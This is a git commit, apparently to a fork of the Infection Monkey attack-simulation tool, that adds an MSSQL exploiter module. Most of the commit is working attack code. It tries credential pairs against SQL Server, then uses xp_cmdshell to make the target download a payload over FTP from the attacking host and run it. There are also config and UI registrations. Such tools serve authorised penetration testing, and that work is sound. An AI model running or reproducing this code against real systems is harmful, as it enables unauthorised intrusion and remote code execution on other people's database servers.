forked from p34709852/monkey
Added the MSSQLExploiter class
The helper functions and utils are in mssqlexec_utils.py file Everything is documented and this commit is still WIP. * Added the class to the monkey's config file and example. * Added the class to the UI config. * Added the class import to __init__.py file
This commit is contained in:
parent
f55133e8c1
commit
149525d205
|
@ -7,7 +7,7 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
||||||
MSSQLFinger
|
MSSQLFinger
|
||||||
|
|
||||||
|
@ -147,7 +147,7 @@ class Configuration(object):
|
||||||
|
|
||||||
scanner_class = TcpScanner
|
scanner_class = TcpScanner
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||||
ElasticGroovyExploiter, # multi
|
ElasticGroovyExploiter, # multi
|
||||||
]
|
]
|
||||||
|
|
|
@ -36,7 +36,8 @@
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter"
|
"SambaCryExploiter",
|
||||||
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
from sambacry import SambaCryExploiter
|
from sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from elasticgroovy import ElasticGroovyExploiter
|
||||||
|
from mssqlexec import MSSQLExploiter
|
||||||
|
|
|
@ -0,0 +1,106 @@
|
||||||
|
from os import path
|
||||||
|
import logging
|
||||||
|
import pymssql
|
||||||
|
|
||||||
|
import mssqlexec_utils
|
||||||
|
from exploit import HostExploiter
|
||||||
|
|
||||||
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
LOGIN_TIMEOUT = 15
|
||||||
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
|
DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat')
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
"""
|
||||||
|
Main function of the mssql brute force
|
||||||
|
Return:
|
||||||
|
True or False depends on process success
|
||||||
|
"""
|
||||||
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||||
|
self.DEFAULT_PAYLOAD_PATH):
|
||||||
|
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||||
|
return False
|
||||||
|
|
||||||
|
def handle_payload(self, cursor, payload):
|
||||||
|
|
||||||
|
"""
|
||||||
|
Handles the process of payload sending and execution, prepares the attack and details.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
||||||
|
payload (string): Payload path
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True or False depends on process success
|
||||||
|
"""
|
||||||
|
|
||||||
|
chosen_attack = self.attacks_list[0](payload, cursor)
|
||||||
|
|
||||||
|
if chosen_attack.send_payload():
|
||||||
|
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||||
|
if chosen_attack.execute_payload():
|
||||||
|
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
||||||
|
else:
|
||||||
|
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
||||||
|
"""
|
||||||
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
|
Main loop starts here.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host (str): Host ip address
|
||||||
|
port (str): Tcp port that the host listens to
|
||||||
|
payload (str): Local path to the payload
|
||||||
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||||
|
"""
|
||||||
|
# Main loop
|
||||||
|
# Iterates on users list
|
||||||
|
for user, password in users_passwords_pairs_list:
|
||||||
|
try:
|
||||||
|
# Core steps
|
||||||
|
# Trying to connect
|
||||||
|
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
||||||
|
LOG.info('Successfully connected to host: {0}, '
|
||||||
|
'using user: {1}, password: {2}'.format(host, user, password))
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
# Handles the payload and return True or False
|
||||||
|
if self.handle_payload(cursor, payload):
|
||||||
|
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.warning("user: {0} and password: {1}, "
|
||||||
|
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
||||||
|
.format(user, password, host, payload))
|
||||||
|
except pymssql.OperationalError:
|
||||||
|
# Combo didn't work, hopping to the next one
|
||||||
|
pass
|
||||||
|
|
||||||
|
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||||
|
'aborting brute force'.format(host, port))
|
||||||
|
return False
|
|
@ -0,0 +1,200 @@
|
||||||
|
|
||||||
|
import os
|
||||||
|
import multiprocessing
|
||||||
|
import logging
|
||||||
|
import socket
|
||||||
|
|
||||||
|
import pymssql
|
||||||
|
|
||||||
|
from pyftpdlib.authorizers import DummyAuthorizer
|
||||||
|
from pyftpdlib.handlers import FTPHandler
|
||||||
|
from pyftpdlib.servers import FTPServer
|
||||||
|
|
||||||
|
|
||||||
|
FTP_SERVER_PORT = 1026
|
||||||
|
FTP_SERVER_ADDRESS = ''
|
||||||
|
FTP_SERVER_USER = 'brute'
|
||||||
|
FTP_SERVER_PASSWORD = 'force'
|
||||||
|
FTP_WORKING_DIR = '.'
|
||||||
|
|
||||||
|
|
||||||
|
class FTP:
|
||||||
|
|
||||||
|
"""Configures and establish an FTP server with default details.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user (str): User for FTP server auth
|
||||||
|
password (str): Password for FTP server auth
|
||||||
|
working_dir (str): The local working dir to init the ftp server on.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||||
|
working_dir=FTP_WORKING_DIR):
|
||||||
|
"""Look at class level docstring."""
|
||||||
|
|
||||||
|
self.user = user
|
||||||
|
self.password = password
|
||||||
|
self.working_dir = working_dir
|
||||||
|
|
||||||
|
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||||
|
working_dir=FTP_WORKING_DIR):
|
||||||
|
|
||||||
|
""" Configures and runs the ftp server to listen forever until stopped.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user (str): User for FTP server auth
|
||||||
|
password (str): Password for FTP server auth
|
||||||
|
working_dir (str): The local working dir to init the ftp server on.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Defining an authorizer and configuring the ftp user
|
||||||
|
authorizer = DummyAuthorizer()
|
||||||
|
authorizer.add_user(user, password, working_dir, perm='elradfmw')
|
||||||
|
|
||||||
|
# Normal ftp handler
|
||||||
|
handler = FTPHandler
|
||||||
|
handler.authorizer = authorizer
|
||||||
|
|
||||||
|
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
|
||||||
|
|
||||||
|
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||||
|
self.server = FTPServer(address, handler)
|
||||||
|
|
||||||
|
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
||||||
|
# multiproccess is being used here.
|
||||||
|
self.server.serve_forever()
|
||||||
|
|
||||||
|
def stop_server(self):
|
||||||
|
# Stops the FTP server and closing all connections.
|
||||||
|
self.server.close_all()
|
||||||
|
|
||||||
|
|
||||||
|
class AttackHost(object):
|
||||||
|
"""
|
||||||
|
This class acts as an interface for the attacking methods class
|
||||||
|
|
||||||
|
Args:
|
||||||
|
payload_path (str): The local path of the payload file
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, payload_path):
|
||||||
|
self.payload_path = payload_path
|
||||||
|
|
||||||
|
def send_payload(self):
|
||||||
|
raise NotImplementedError("Send function not implemented")
|
||||||
|
|
||||||
|
def execute_payload(self):
|
||||||
|
raise NotImplementedError("execute function not implemented")
|
||||||
|
|
||||||
|
|
||||||
|
class CmdShellAttack(AttackHost):
|
||||||
|
|
||||||
|
"""
|
||||||
|
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
payload_path (str): The local path of the payload file
|
||||||
|
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, payload_path, cursor):
|
||||||
|
super(CmdShellAttack, self).__init__(payload_path)
|
||||||
|
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
|
||||||
|
self.cursor = cursor
|
||||||
|
self.attacker_ip = self.__find_own_ip()
|
||||||
|
|
||||||
|
def send_payload(self):
|
||||||
|
"""
|
||||||
|
Sets up an FTP server and using it to download the payload to the remote host
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True if payload sent False if not.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Sets up the cmds to run
|
||||||
|
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||||
|
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||||
|
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||||
|
|
||||||
|
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||||
|
.format(self.payload_path)
|
||||||
|
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||||
|
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
||||||
|
|
||||||
|
# Checking to see if ftp server is up
|
||||||
|
if self.ftp_server_p and self.ftp_server:
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Running the cmd on remote host
|
||||||
|
for cmd in shellcmds:
|
||||||
|
self.cursor.execute(cmd)
|
||||||
|
except Exception, e:
|
||||||
|
logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message))
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
logging.error("Couldn't establish an FTP server for the dropout")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def execute_payload(self):
|
||||||
|
|
||||||
|
"""
|
||||||
|
Executes the payload after ftp drop
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True if payload was executed successfully, False if not.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Getting the payload's file name
|
||||||
|
payload_file_name = os.path.split(self.payload_path)[1]
|
||||||
|
|
||||||
|
# Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error.
|
||||||
|
shellcmd = """DECLARE @i INT \
|
||||||
|
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
||||||
|
SELECT @i """.format(payload_file_name)
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Executing payload on remote host
|
||||||
|
logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
||||||
|
self.cursor.execute(shellcmd)
|
||||||
|
if self.cursor.fetchall()[0][0] == 0:
|
||||||
|
# Success
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
|
||||||
|
except pymssql.OperationalError:
|
||||||
|
logging.error('Executing payload: {0} failed'.format(payload_file_name))
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def __init_ftp_server(self):
|
||||||
|
"""
|
||||||
|
Init an FTP server using FTP class on a different process
|
||||||
|
|
||||||
|
Return:
|
||||||
|
ftp_s: FTP server object
|
||||||
|
p: the process obj of the FTP object
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
ftp_s = FTP()
|
||||||
|
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||||
|
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||||
|
p.start()
|
||||||
|
logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
||||||
|
return ftp_s, p
|
||||||
|
except Exception, e:
|
||||||
|
logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message))
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def __find_own_ip(self):
|
||||||
|
ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")]
|
||||||
|
return ip_list[0]
|
|
@ -14,3 +14,5 @@ six
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
|
pymssql
|
||||||
|
pyftpdlib
|
||||||
|
|
|
@ -38,6 +38,13 @@ SCHEMA = {
|
||||||
],
|
],
|
||||||
"title": "WMI Exploiter"
|
"title": "WMI Exploiter"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MSSQLExploiter"
|
||||||
|
],
|
||||||
|
"title": "MSSQL Exploiter"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": [
|
"enum": [
|
||||||
|
@ -615,6 +622,7 @@ SCHEMA = {
|
||||||
"default": [
|
"default": [
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
|
"MSSQLExploiter",
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
|
|
Loading…
Reference in New Issue